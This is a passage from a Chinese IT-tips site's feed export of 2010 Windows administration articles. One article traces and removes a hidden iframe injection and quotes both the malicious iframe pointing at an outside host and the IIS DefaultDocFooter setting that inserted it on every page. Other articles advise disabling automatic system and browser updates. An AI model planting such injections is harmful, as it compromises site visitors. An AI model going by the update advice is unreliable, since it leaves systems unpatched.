查看路由和远程接入插件--&amp;gt;属性--&amp;gt;IP标签，并且验证服务器已设置为允许IP路由。还要验证服务器已经设置为允许基于IP的远程访问和需要拨号连接。 

2.)验证服务器已经设置为可分配IP地址。 

这个步骤可以通过一批静态地址或者DHCP来完成。检查路由和远程接入插件--&amp;gt;属性--&amp;gt;IP标签，然而点击DHCP或者静态地址池。如果点击了地址池，必须要设置大量的地址。 

这就是windows VPN服务器的基本设置。还有很多与VPN会话有关的其它功能，如身份识别和加密。这些功能也可以引起故障。最佳方法是设法让用户连接和身份识别一个简单的会话。取消标准连接之外的所有的连接;然后，你可以把额外的安全功能添加到这个会话中。 </text>
<image> </image>
<keywords>方法,故障,服务器,验证,远程,VPN,IT侠 </keywords>
<category>IT侠网络 </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows服务器下查IIS被挂iframe木马 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9758.html </link>
<description>一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了 iframe src=http://xxxdfsfd/web.htm height=0 width=0/iframe 这种样式的代码 有的在头部 有的在尾部 部分杀毒软件打开会报毒 打开HTML或ASP PHP页面 在源码中怎么也找不到这段 </description>
<text>一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了 

    
        
            &amp;nbsp; &amp;lt;iframe src=&amp;quot;http://xxxdfsfd/web.htm&amp;quot; height=0  width=0&amp;gt;&amp;lt;/iframe&amp;gt;
        
    


这种样式的代码 有的在头部，有的在尾部 部分杀毒软件打开会报毒 ，打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码 

分析原因：

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 首先，怀疑ARP挂马，用防ＡＲＰ的工具又没有发现有arp欺骗 ，而且arp欺骗一般不会每次都被插入代码，而是时有时无 。而且使用http://127.0.0.1 或者http://localhost 访问的时候也可以找到这段代码 ，因此arp欺骗的可能排除。 

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 然后，就想到可能是JS被篡改，或者是其它的包含文件，查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会被插入这段代码，那就只能是通过IIS挂上去的了。 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 备份iis数据然后重装iis，代码消失，将备份的iis恢复，问题又来了。 仔细寻找，问题应该出在IIS的配置文件上，打开配置文件，没有发现那段代码。 那很有可能是调用了某个文件，这个怎么查啊，忽然想起了大名鼎鼎的Filemon。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 本地载了一个上传到服务器上，打开Filemon，数据太多了，过滤掉一些没有用的 ，只留下iis的进程，数据还是很多，看来服务器上的站点还是挺多人在访问的。 关掉所有站点,建了一个测试站点anky 目录为D:\www\　在下面建了一个空白页面test.htm 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 访问一下这个页面代码被插进来了，再看一下Filemon　奇怪怎么读取C:\Inetpub\wwwroot\iisstart.htm 
打开C:\Inetpub\wwwroot\iisstart.htm一看，里面就躺着

    
        
            &amp;nbsp; &amp;lt;iframe src=&amp;quot;http://xxxdfsfd/web.htm&amp;quot; height=0  width=0&amp;gt;&amp;lt;/iframe&amp;gt;
        
    


&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 把代码删除了留空，访问test.htm 正常了，把C:\Inetpub\wwwroot\iisstart.htm删除了再访问 test.htm　出现　&amp;ldquo;读取数据页脚文件出错&amp;rdquo;问题就出这里了，看来是调用了 这个文件。 把C:\Inetpub\wwwroot\iisstart.htm清空就正常了，这样怎么行，解决问题当然要连根拔掉。 
继续&amp;hellip;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 有没有可能是扩展造成的，到扩展中检查了一遍全部都是正常的 ，当然 通过ISAPI 挂马的也是存在的。左想右想最后还是觉得配置文件有问题 ，打开配置文件，配置文件在%windir%\system32\inetsrv\MetaBase.xml，用记事本打开，查找iisstart.htm　找到一行，开始以为是默认站点，后来一想不对啊。默认站点都删除了，再仔细一看这句代码为

    
        
            &amp;nbsp; DefaultDocFooter=&amp;quot;FILE:C:\Inetpub\wwwroot\iisstart.htm&amp;quot;
        
    


删除掉这一行，问题彻底解决了。 </text>
<image> </image>
<keywords>木马,服务器,代码,文件,IIS,IT侠 </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Flv文件不能播放的原因有种种，最近遇到了&amp;ldquo;Flv文件在本地 </title>
<link>http://www.itxia.com/plus/view.php?aid=9759 </link>
<description> </description>
<text> </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>将Windows 2008 DC增加到2003域中 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9760.html </link>
<description>随着Windows Server 2008的发布，越来越多的企业开始使用它。有时候，我们必须面对这样的情况，我们想保留原来的Windows Server 2003 活动目录，不想重新建一个新的森林。这能否实现以及如何实现，是广大管理员想知道的。今天我们将重点介绍如何将Windows Ser </description>
<text>&amp;nbsp;随着Windows Server 2008的发布，越来越多的企业开始使用它。有时候，我们必须面对这样的情况，我们想保留原来的Windows Server 2003 活动目录，不想重新建一个新的森林。这能否实现以及如何实现，是广大管理员想知道的。今天我们将重点介绍如何将Windows Server 2008 的域控制器添加到运行Windows 2000 Server 或者 Windows Server 2003 的活动目录中。 

要实现该目标，需要对现有的活动目录做一些修改。首先，我们必须更新现有活动目录架构。从持有架构操作主机角色的域控制器上更新架构。如果要执行Windows Server 2008 的AD DS的无人安装，在安装操作系统之前必须更新架构。对于正常的安装，在安装 AD DS 之前，必须在运行setup后更新架构。下面介绍如何完成这一步骤。 

要执行该操作，使用的账号必须属于下面的组： 

o Enterprise Admins 

o Schema Admins 

o 包含架构主机的域的Domain Admins 

为Windows Server 2008 准备森林架构 

1. 使用属于Enterprise Admins,、Schema Admins和Domain Admins groups成员的账号登录架构主机。 

2. 插入Windows Server 2008 DVD 到CD 或者DVD 驱动器。 

3. 点击开始，点击Command prompt，进入命令行模式， 

4. 输入下面的命令，然后回车。 

D:\sources\adprep\adprep /forestprep 

D: 是CD 或者DVD驱动器的盘符(因机器而异)。 

5. 如果计划安装一个RODC到森林中的任何域的话，输入下面的命令，然后回车。 

D:\sources\adprep\adprep /rodcprep 

6. 允许该操作完成，并允许该更改复制到整个森林在为任何其他的域准备运行Windows Server 2008 的域控制器之前。 

在完成对森林的准备后，需要为要安装Windows Server 2008 域控制器的域做准备。 

要完成该任务，操作者必须是Domain Admins组的成员。属于Enterprise Admins 组对执行该操作来说不够的。 

1.使用下面的方法来验证域的基础结构主机角色位于哪台域控制器上： 

&amp;quot;在活动目录用户和计算机中，右键选中域对象，选择操作主机，点击基础结构。 

2.使用属于Domain Admins 组的账号登录到基础结构主机。 

3.插入Windows Server 2008 DVD 到CD 或者DVD 驱动器。 

4.点击开始，点击Command prompt，进入命令行模式， 

5.输入下面的命令，然后回车。 

D:\sources\adprep\adprep /domainprep /gpprep 

6.允许该操作完成，并允许该更改复制到整个森林在您安装运行Windows Server 2008 的域控制器之前。 

接下来，就可以按照通常的方法来安装Windows Server 2008 的域控制器。具体提升的步骤我在此不在描述。

提升完成后，如何验证该域控制器是否工作正常呢?我们可以通过下面的工具来判断： 

&amp;quot; Active Directory 站点和服务 

&amp;quot; DNS管理器 

&amp;quot; 事件查看器 

&amp;quot; Netdiag.exe 

&amp;quot; Dcdiag.exe 

&amp;quot; Repadmin.exe 

&amp;quot; Ntfrsutl.exe 

&amp;quot; Gpotool.exe 

下面举一些例子来说明，当你在域控制器上运行repadmin /showreps命令后，如果出现类似下面的结果则说明目录服务复制工作正常。 

SITE_NAME\DC1_NAME 

DC Options: IS_GC 

Site Options: (none) 

DC object GUID: 69f94b64-3ab9-40b0-b098-de4ac0110835

DC invocationID: 660a6637-800c-48b4-833d-7e87c44d0a65 

=== INBOUND NEIGHBORS =================== 

DC=domain_name,DC=net 

SITE_NAME\DC2_NAME via RPC 

DC object GUID: 3198bc33-6275-49be-a5b0-f666cdaf6eb5 

Last attempt @ 2008-06-05 11:04:13 was successful. 

SITE_NAME\DC3_NAME via RPC 

DC object GUID: 267f375c-dc1e-456d-b820-87b4c5f69b14 

Last attempt @ 2008-06-05 11:04:13 was successful. 

当你在域控制器上运行ntfrsutl sets dc_name命令后出现类似下面的结果，说明FRS复制也正常。 

Cxtion: 4BFDA462-27DD-4E27-9743-7A3BB12C3C86 

(34a88443-e27b-40fa-9e64a17a9f242f68) 

Partner : NNHCDC2 (923b0a69-a2b0-4de5-a9f7a340157f5bd7) 

PartDnsName : dcname.domainname.net 

PartSrvName : domainname\dcname$ 

PartPrincName: domainname\dcname$ 

PartSid : S-1-5-21-1000673501-3501767921-787702556-1480 

OrigGuid : 00000000-0000-0000-0000000000000000 

State : 7 

Flags : 000000c1 Flags [Consistent JoinGuidValid UnJoinGuidValid ] 

CxtionOptions: 00000000 Flags [] 

Inbound : TRUE 

JrnlCxtion : FALSE 

PartnerAuth : 0 

TermCoSn : 0 

JoinCmd : 0x00000000 

CoCount : 0 

CommQueue : 10 

CoPQ : 00000000 

UnjoinTrigger: 0 

UnjoinReset : 0 

Comm Packets : 5 

PartnerMajor : 0 

PartnerMinor : 8 

JoinGuid : c517d13e-5e44-d751-8c2c920474f3d785 

LastJoinTime : Thu Jun 5, 2008 01:22:15 

LastSndStatus: ERROR_SUCCESS 

NoFailedSnds : 0 

当你在域控制器上运行gpotool /dc:dcname /verbose命令后出现类似下面的结果，说明活动目录和SYSVOL中的组策略是一致的。 

Domain: domainname.com 

Validating DCs... 

Available DCs: 

dcname 

Searching for policies... 

Found 2 policies 

================================ 

Policy {31B2F340-016D-11D2-945F-00C04FB984F9} 

Friendly name: Default Domain Policy 

Policy OK 

Details: 

------------------------------------------------------------ 

DC: dcname 

Friendly name: Default Domain Policy 

Created: 6/12/2008 8:51:59 AM 

Changed: 6/12/2008 8:58:24 AM 

DS version: 1(user) 3(machine) 

Sysvol version: 1(user) 3(machine) 

Flags: 0 (user side enabled; machine side enabled) 

User extensions: [{3060E8D0-7020-11D2-842D-00C04FA372D4}{3060E8CE-7020-11D2-842D-00C04FA372D4}] 

Machine extensions: [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]  

Functionality version: 2  </text>
<image> </image>
<keywords>Windows,DC,增加,2008,2003,域,IT侠 </keywords>
<category>Windows </category>
<author>IT侠 </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>如何使Windows系统不受恶意代码骚扰 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9761.html </link>
<description>所谓恶意代码，是指网页中使用了利用WSH漏洞来修改系统的一段代码(但是由于它并不具备传染性和自我复制这两个病毒的基本特征，因此不能称作病毒)。WSH是Windows Scripting Host的缩写，是微软提供的一种脚本解释机制，它使得脚本文件(扩展名为 .js、.vbs等)能 </description>
<text>所谓恶意代码，是指网页中使用了利用WSH漏洞来修改系统的一段代码(但是由于它并不具备传染性和自我复制这两个病毒的基本特征，因此不能称作病毒)。WSH是&amp;ldquo;Windows Scripting Host&amp;rdquo;的缩写，是微软提供的一种脚本解释机制，它使得脚本文件(扩展名为 .js、.vbs等)能够直接在Windows桌面或命令提示符下运行。
　　也就是说，我们可以从卸载阻止恶意代码运行、实时保护和WSH的任意一个方面入手，均可以达到保护windows 系统不被恶意代码篡改的目的。
　　一、禁止脚本运行
　　如果您不愿意删除WSH组件，可以考虑用如下方法禁止脚本的运行：
　　1、打开资源管理器，点击&amp;ldquo;工具-&amp;gt;文件夹选项-&amp;gt;文件类型&amp;rdquo;，在文件类型中将后缀名为&amp;ldquo;VBS、VBE、JS、JSE、WSH、WSF&amp;rdquo;项全部删除，这样这些文件就不会被执行了(双击在前面您搜索到的*.js、*.vbs文件试试)。
　　2、打开IE，点击&amp;ldquo;工具-&amp;gt;Internet选项-&amp;gt;安全-&amp;gt;自定义级别&amp;rdquo;，在&amp;ldquo;安全设置&amp;rdquo;对话框中，将其中所有的ActiveX插件和控件以及与Java相关的组件全部禁止即可。不过这样做以后的一个不便之处就是如果网页中使用了 js 或者 vbs 脚本，则该网也将不能正常显示
　　二、实时保护IE
　　也许您觉得上面的两种方法都太绝对，并不能满足自己灵活的需要，那么可以考虑安装上网助手(在地址栏中输入&amp;ldquo;上网助手&amp;rdquo;或者&amp;ldquo;zs.3721.com&amp;rdquo;进入网站，在弹出的安装提示对话框中点击&amp;ldquo;是&amp;rdquo;)。安装之后，上网助手会在屏幕右下角的系统托盘处出现蓝色图标，点击它，可以看到其&amp;ldquo;保护IE&amp;rdquo;项被选中，表示实时保护IE的功能正在生效。
　　三、卸载WSH
　　微软提供WSH的初衷是为了让管理员通过脚本程序更方便地管理系统，实现批处理或者自动化功能。但是这个美好 的愿望被恶意代码利用而使得WSH成为系统中非常薄弱的环节。其实，绝大多数普通用户并不需要WSH，因此我们完全可以把它卸载掉。具体方法如下：
　　在Windows  2000,XP中删除WSH的方法是，双击&amp;ldquo;我的电脑&amp;rdquo;图标，然后执行&amp;ldquo;工具/文件夹选项&amp;rdquo;命令，选择&amp;ldquo;文件类型&amp;rdquo;选项卡，找到&amp;ldquo;VBS  VBScript Script File&amp;rdquo;选项，并单击&amp;ldquo;删除&amp;rdquo;按钮，最后单击&amp;ldquo;确定&amp;rdquo;即可。
　　

　　当然，除了以上方法以外，及时给系统和IE打上最新的补丁、给防病毒软件及时升级病毒数据库、不要轻易地去浏览一些来历不明的网站等等，都是很好的习惯，能最大限度的把恶意代码拒之门外。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O41633314Y0-14196_lit.jpg </image>
<keywords>代码,恶意,系统,免疫,rdquo,WSH,IT侠 </keywords>
<category>Windows </category>
<author>IT侠 </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows Server 2003十招加速大法 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9762.html </link>
<description>微软的Windown Server 2003是对应服务器的，安装之后你就会发现麻烦多多，这样功能没有，那样功能打不开，甚至连听歌，玩游戏也成问题了。 其实，Server 2003在XP的基础强化了安全性和稳定性，不得不关闭了一些工作站系统。我们是把Win 2003当工作站用，当然 </description>
<text>微软的Windown Server 2003是对应服务器的，安装之后你就会发现麻烦多多，这样功能没有，那样功能打不开，甚至连听歌，玩游戏也成问题了。 

其实，Server 2003在XP的基础强化了安全性和稳定性，不得不关闭了一些工作站系统。我们是把Win 2003当工作站用，当然要重新打开这些服务，让它重获新生啦。那些用不着的服务器功能，也一并减肥去掉吧。
　　1、关闭服务器向导 
　　装完win  2003，你会发现&amp;ldquo;管理您的服务器&amp;rdquo;出现，把左下角的&amp;ldquo;登录时不要显示该页&amp;rdquo;勾上。如果你在开机时找不到，可以进入控制面板-管理工具-管理你的服务器 中找到
　　2、使用耗电模式 
　　为了让电脑经常处于最佳状态，把所有的省电模式关掉，在控制面板-电源使用方案中选择&amp;ldquo;演示&amp;rdquo;方 案，从不关闭监视器、硬盘或进行系统待机。
　　3、关闭远程协助 
&amp;nbsp;　　在&amp;ldquo;我的电脑&amp;rdquo;图标上按右键，系统属性-远程 中，一般情况下把远程协助全部关掉，避免不必要的麻烦。 

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4、安装防火墙 

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 即使Win2003的安全性高，而且我们也经常升级系统补丁，但亦无法保证不被攻击。可是，Win2003需要特殊的程序，普通单机软件无法安装，必须使用服务器版的程序。推荐:Symantec Norton Antivirus企业版病毒防火墙+Personal Firewall 2003网络防火墙。 

&amp;nbsp;　　5、自定义经典开始菜单
　　只使用&amp;ldquo;显示运行&amp;rdquo;和&amp;ldquo;在开始菜单中显示小图标&amp;rdquo;，其它都是扩展任务栏，以及增加特效和功能的，紧记! 功能越少越快 

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6、加速任务栏 

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 除了将&amp;ldquo;任务栏保持在其它窗口的前端&amp;rdquo;其它全部去掉，原因如下: 

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 自动隐藏任务栏:避免找不到任务栏，而且占用系统分组相似任务栏按钮:程序过于集中，很难找到显示时钟:有手表或手机就无须用时钟 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 隐藏不活动图标:不知道现在使用了那些应用程序 

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7、资源管理器提速 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 在资源管理器或我的电脑上，选择工具-文件夹选项-常规，选择&amp;ldquo;使用windows传统风格的文件夹&amp;rdquo;。 把&amp;ldquo;隐藏受保护的操作系统文件&amp;rdquo;和&amp;ldquo;隐藏己知文件类型的扩展名&amp;rdquo;之外所有的选项都去掉。特别是&amp;ldquo;记住每个文件夹的视图设置&amp;rdquo;、&amp;ldquo;鼠标指向文件夹和桌面项时显示提示信息&amp;rdquo;、&amp;ldquo;在文件夹提示中显示文件大小信息&amp;rdquo;这几项关掉，去掉个性化设置。 第三是资源管理器的优化，查看中使用&amp;ldquo;列表&amp;rdquo;形式，以最小的图标和信息显示内容。在工具栏菜单中，把标准按钮和链接都去掉，这些功能全部通过快捷键可以实现，多留无益。 

&amp;nbsp;　　8、关掉自动更新
　　在&amp;ldquo;我的电脑&amp;rdquo;图标上按右键，系统属性-自动更新，去掉&amp;ldquo;保持我的计算机最新&amp;rdquo;。让我们养成自己定时更新的 好习惯，可以让大家避免再受到&amp;ldquo;冲击波&amp;rdquo;之类的病毒袭击。 

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 9、IE的优化 

IE的界面优化基本和资源管理器相同，都是尽可能减少功能条，只留下地址栏。不过，在工具-internet选项中就有许多好玩东西了。 

常规-可以更改的主页用空白页，开启时无须载入任何网页，速度飞 

高级-多媒体，去掉&amp;ldquo;启用自动图像大小调整&amp;rdquo;，直接显示整幅图像，减少IE的工作量。 

浏览，去掉&amp;ldquo;启用脱机项目按计划同步&amp;rdquo;，在宽带包月如此流行的今天，脱机还有什么用? 

去掉&amp;ldquo;使用平滑滚动&amp;rdquo;，让左边的导航条，按照正常的page up/down方式快速翻页。 

去掉&amp;ldquo;下载完成后发出通知&amp;rdquo;，download完就算还通知什么，多此一举。 

去掉&amp;ldquo;在地址栏中显示转到按钮&amp;rdquo;，转到的网址我们都没多大用处。 

去掉&amp;ldquo;自动检查Internet Explorer更新&amp;rdquo;，手动更新永远比自动更新要快，而且无须让IE经常留意是否需要更新。 

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10、用户帐号登录 
&amp;nbsp;
　　2003使用服务器的ctrl+alt+del登录方式，没有Win  XP的登录欢迎，还是建立一个帐号登录有个性化。在开始-运行-输入&amp;ldquo;lusrmgr.msc&amp;rdquo;-本地用户和组。在用户中右键点击建立&amp;ldquo;新用户&amp;rdquo;，输入账 号信息并建立账号。
&amp;nbsp;
　　接着把新建的账号添加到管理员组，右键点击你新建的用户，选择属性-隶属于-添加Add..-高级-现在查找， 双击管理员，得到Administrator相近的权限。

&amp;nbsp; </text>
<image> </image>
<keywords>Windows,server,2003,加速,IT侠 </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows Server 2008网络性能 </title>
<link>http://www.itxia.com/a/computer/network/2010/0718/9763.html </link>
<description>Windows Server 2008的网络功能有什么不同呢？请看本文的介绍。 1,TCP/IP半开连接数限制是绝对不存在的 2,Windows Server 2008的协议栈设计与Vista基本上相同,相对于XP或2003来说,是全新设计的协议栈,架构方面变动比较大,总体来说,性能是有不小提升的. 3, </description>
<text>Windows Server 2008的网络功能有什么不同呢？请看本文的介绍。 
1,Windows Server  2008的协议栈设计与Vista基本上相同,相对于XP或2003来说,是全新设计的协议栈,架构方面变动比较大,总体来说,性能是有不小提升的. 
2,TCP/IP半开连接数限制是绝对不存在的

　　3,如果说碰到了Vista和2008网络性能存在较大差异，那很可能是你自己rp问题 
4,虽然是重新设计的协议栈,但基本行为和以前的系统没有太大变化.最容易接触到的变化是默认开启了TCP Window auto Scaling. 

此项特性是根据RFC1323标准设计的新特性,目的是用于增强在高带宽情况下的TCP性能,RFC见此:http://www.ietf.org/rfc/rfc1323.txt 

注意此项特性的开启可能会导致一些网络设备出现性能回退,原因是一些状态防火墙/VPN/隧道/路由等设备设计时破坏了TCP Window的行为，导致地性能问题. 

因此如果有人感觉到Vista/2008的网络性能较XP/2003有出现不正常的表现，则有可能是你所在的网络环境存在此类有问题的软硬件，解决方案是暂时停用这些软硬件。实在无法定位或者规避这些设备，可以暂时关闭TCP Window Scaling特性，方法如下： 

netsh interface tcp set global autotuninglevel=disabled 

再开启此项特性的命令如下： 

netsh interface tcp set global autotuninglevel=normal 

5,在任何情况下都不要使用老的针对XP/2003的所谓网络优化类工具，这些工具所修改的一些参数很可能本身已经没有意义了，或者是修改会导致莫名其妙的问题，比较知名的例子是修改MTU或自定义TCP Window的那些&amp;ldquo;优化&amp;rdquo; </text>
<image> </image>
<keywords>Windows,Server,2008网络性能,IT侠 </keywords>
<category>IT侠网络 </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Win 2003系统不能打开chm文件的问题 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9764.html </link>
<description>以前在Windows2000中都能打开的chm电子教程，自从安装了Windows2003发现都不行了，总以为可能是文件坏了，今天又想起来就上网搜索了下，最终找到了解决方法：用右键打开chm文件属性，在常规选项卡最下方会发现多了一项安全，点击解除锁定&quot; </description>
<text>以前在Windows2000中都能打开的chm电子教程，自从安装了Windows2003发现都不行了，总以为可能是文件坏了，今天又想起来就上网搜索了下，最终找到了解决方法：用右键打开chm文件属性，在&amp;quot;常规&amp;quot;选项卡最下方会发现多了一项&amp;quot;安全&amp;quot;，点击&amp;quot;解除锁定&amp;quot;后确定，你会发现可以正常打开了。

网上说是微软从Windows2003开始不支持chm格式的帮助文件导致的，上MSDN没找着相关的说明，以后暂时就这么解决吧，呵呵。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O416343N5P-25S5_lit.gif </image>
<keywords>文件,问题,打开,系统,windows,2003,chm,I </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows任务管理器的4个使用技巧 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9765.html </link>
<description>Windows任务管理器可以用来察看当前运行的程序、启动的进程、CPU及内存使用情况等信息，这为我们进一步解决问题提供思路，用好任务管理器是菜鸟们竞升高手的必经之路。 1.让你受益无限的几个雕虫小技 ★选择性的窗口控制：我们通过任务栏上右键菜单中的层 </description>
<text>Windows任务管理器可以用来察看当前运行的程序、启动的进程、CPU及内存使用情况等信息，这为我们进一步解决问题提供思路，用好任务管理器是菜鸟们竞升高手的必经之路。 　　1.让你受益无限的几个雕虫小技 　　★选择性的窗口控制：我们通过任务栏上右键菜单中的&amp;ldquo;层叠窗口&amp;rdquo;、&amp;ldquo;横向平铺窗口&amp;rdquo;等命令来对所有窗口进行布局控制，但如果是对其中几个窗口呢？一种方法是按下Ctrl，在任务栏中选择要控制的窗口，单击右键，选择相应命令。另一种方法为：在任务管理器的&amp;ldquo;应用程序&amp;rdquo;标签下，同样按下Ctrl并选择要操作的程序，单击右键，选择相应命令即可，该方法比第一个方法的优势在于如果我们打开的窗口数量很多，常常不能在任务栏中看到该窗口究竟是什么，容易造成误操作，而在任务管理器中则不同。 　　★随时关注CPU占用情况：通常情况下我们只关心系统所有正运行的程序占用的CPU资源情况，我们可以在任务管理器中选择&amp;ldquo;选项&amp;rdquo;菜单，勾选&amp;ldquo;使用时自动最小化&amp;rdquo;和&amp;ldquo;最小化时隐藏&amp;rdquo;，接下来运行&amp;ldquo;Regedit&amp;rdquo;打开注册表编辑器，定位到&amp;ldquo;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&amp;rdquo;分支，新建一个名为&amp;ldquo;Taskmanager&amp;rdquo;的REG_SZ值，将其值修改为&amp;ldquo;&amp;quot;c:\windows\system32\cmd.exe&amp;quot;/c&amp;quot;start&amp;quot;/minc:\windows\system32\taskmgr.exe&amp;rdquo;。这样我们可以随时将鼠标悬浮在系统托盘区域一个绿色图标上，稍等片刻，CPU资源情况遍尽收眼底了。 　　★远程控制时调用任务管理器：当我们使用WindowsXP的远程桌面连接或者使用第三方软件进行远程控制时，要在对方的系统中打开任务管理器，不能使用Alt+Ctrl+Del或者Ctrl+Shift+Esc热键，这样打开的是本机的任务管理器，正确的方法是运行任务栏右键菜单中的&amp;ldquo;任务管理器&amp;rdquo;命令。 　　★更酷的任务管理器打开热键：如果你每次都要劳神的按下三个组合键才能打开任务管理器，那么就为C:\WINDOWS\system32\taskmgr.exe建立一个桌面快捷方式，再在该快捷方式上单击右键，选择&amp;ldquo;属性&amp;rdquo;，并为其分配一个热键吧（如F5）。 　　★任务管理器中也可以玩&amp;ldquo;运行&amp;rdquo;：如果&amp;ldquo;开始&amp;rdquo;菜单中的&amp;ldquo;运行&amp;rdquo;命令被屏蔽，那就试试在任务管理器中选择&amp;ldquo;文件&amp;rarr;新建任务（运行）&amp;rdquo;吧，效果一样。 　　2.给任务管理器加个&amp;ldquo;开关&amp;rdquo; 　　在WindowsXP中，我们有三种方法来禁用与启用任务管理器： 　　方法一：运行&amp;ldquo;Regedit&amp;rdquo;命令打开注册表编辑器，依次定位到&amp;ldquo;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System&amp;rdquo;分支，在左边找到&amp;ldquo;DisableTaskMgr&amp;rdquo;项（如没有则新建，其类型为REG_DWORD），其值设置为1则禁止，为0则启用。 　　方法二：运行&amp;ldquo;gpedit.msc&amp;rdquo;命令打开&amp;ldquo;组策略&amp;rdquo;设置窗口，依次展开&amp;ldquo;本地计算机策略&amp;rarr;用户配置&amp;rarr;管理模板&amp;rarr;系统&amp;rarr;Ctrl+Alt+Del选项&amp;rdquo;，在右边的&amp;ldquo;删除任务管理器&amp;rdquo;的属性中，设置为&amp;ldquo;已启用&amp;rdquo;。 　　方法三：上面两种方法对所有用户有效，如果你想单独对某个用户设置禁用，那么可以打开C:\WINDOWS\system32目录，右键单击taskmgr.exe，选择&amp;ldquo;打开方式&amp;rdquo;菜单，在弹出的&amp;ldquo;运行身份&amp;rdquo;窗口中勾选&amp;ldquo;下列用户&amp;rdquo;，并指定一个用户即可。 　　小提示： 　　大家遇到在任务栏区域的右键菜单中&amp;ldquo;任务管理器&amp;rdquo;为灰色不可选状态，或者运行&amp;ldquo;taskmgr&amp;rdquo;命令时提示&amp;ldquo;任务管理器已被系统管理员停用&amp;rdquo;故障都可以通过上面的设置来解决。此外，如果你的任务管理器的&amp;ldquo;进程&amp;rdquo;标签的&amp;ldquo;用户名&amp;rdquo;一列信息丢失（显示为空白），那么请运行&amp;ldquo;services.msc&amp;rdquo;命令打开服务设置窗口，重新启动TerminalServices这项服务即可。 　　3.&amp;ldquo;双击&amp;rdquo;在任务管理器中的应用 　　很多朋友每天都要使用无数遍任务管理器，却未曾知道这里还有很多关于&amp;ldquo;双击&amp;rdquo;的技巧： 　　★双击任务管理器的边框区域，可以以&amp;ldquo;TinyFootprintmode&amp;rdquo;（精简模式，隐藏了彩单栏，MediaPlayer也提供类似功能）显示任务管理器，再次双击切换为完整模式。 　　★切换到&amp;ldquo;应用程序&amp;rdquo;标签，双击其中某个列表中某个程序，可以让该程序对应的窗口最靠前，该技巧对于WindowsXP任务栏常常无响应的情况尤其有效，我们再不用在任务栏中单击切换窗口前置了。不过，使用该功能时请确保取消勾选&amp;ldquo;选项&amp;rarr;前端显示&amp;rdquo;，否则技巧无效。 　　★切换到&amp;ldquo;应用程序&amp;rdquo;标签，双击该窗口中的任何空白处，可以快速最小化任务管理器。 　　★切换到&amp;ldquo;性能&amp;rdquo;、&amp;ldquo;联网&amp;rdquo;标签，双击窗口任意区域可以将其对应曲线图以最屏方式显示，便于察看。 　　4.妙用任务管理器，秘密东东巧运行 　　第一步：首先确保在用户账户中启用&amp;ldquo;使用快速用户切换&amp;rdquo;功能，接下来打开你你要运行的程序，如开启FlashFXP、BT下载东西或者Winamp听歌。 　　